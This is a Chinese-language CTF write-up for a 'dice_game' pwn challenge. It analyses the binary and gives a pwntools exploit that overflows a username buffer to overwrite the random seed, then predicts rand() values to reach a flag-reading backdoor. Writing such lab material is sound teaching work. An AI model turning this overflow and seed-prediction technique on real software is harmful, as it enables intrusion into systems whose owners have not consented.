预备知识

本题涉及到的知识点:

  • 栈溢出
  • 调用libc随机数函数

程序分析

  1. 使用checksec查看保护情况。

    64位程序,开启RELRO、NX和PIE保护。

    1
    2
    3
    4
    5
    Arch:     amd64-64-little
    RELRO: Full RELRO
    Stack: No canary found
    NX: NX enabled
    PIE: PIE enabled
  2. 运行程序,输入用户名,然后开始猜数字。

    可以猜测是一道栈溢出覆盖随机数种子的题。

    dice_game

  3. 拖入IDA分析,main函数使用read函数读入用户名,存在栈溢出漏洞。

    然后生成随机数种子,循环调用50次sub_A20函数,如果每次返回都是1则调用sub_B28函数。

    dice_game_1

  4. 跟入sub_A20函数,程序将输入和rand() %6 + 1进行比较,若相同返回1。

    dice_game_2

  5. 跟入sub_B28函数,发现是一个后门函数,直接open flag文件。

    dice_game_3

利用思路

加载本地dll实现随机数函数调用

1
2
3
4
5
6
7
8
from pwn import *
from ctypes import *

context.log_level = 'debug'

io = process('./dice_game')
dll = cdll.LoadLibrary('./libc.so.6')
dll.srand(0)

栈溢出修改随机数种子

利用用户名输入的read函数,实现栈溢出覆盖随机数种子。

1
2
3
payload = 'A' * 0x40 + p64(0)
io.recvuntil('name: ')
io.send(payload)

计算随机数

1
2
3
4
5
for i in range(50):
io.recvuntil('point(1~6): ')
io.sendline(str(dll.rand() % 6 + 1))

io.interactive()

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
from ctypes import *

context.log_level = 'debug'

io = process('./dice_game')
dll = cdll.LoadLibrary('./libc.so.6')

dll.srand(0)

payload = 'A' * 0x40 + p64(0)
io.recvuntil('name: ')
io.send(payload)

for i in range(50):
io.recvuntil('point(1~6): ')
io.sendline(str(dll.rand() % 6 + 1))

io.interactive()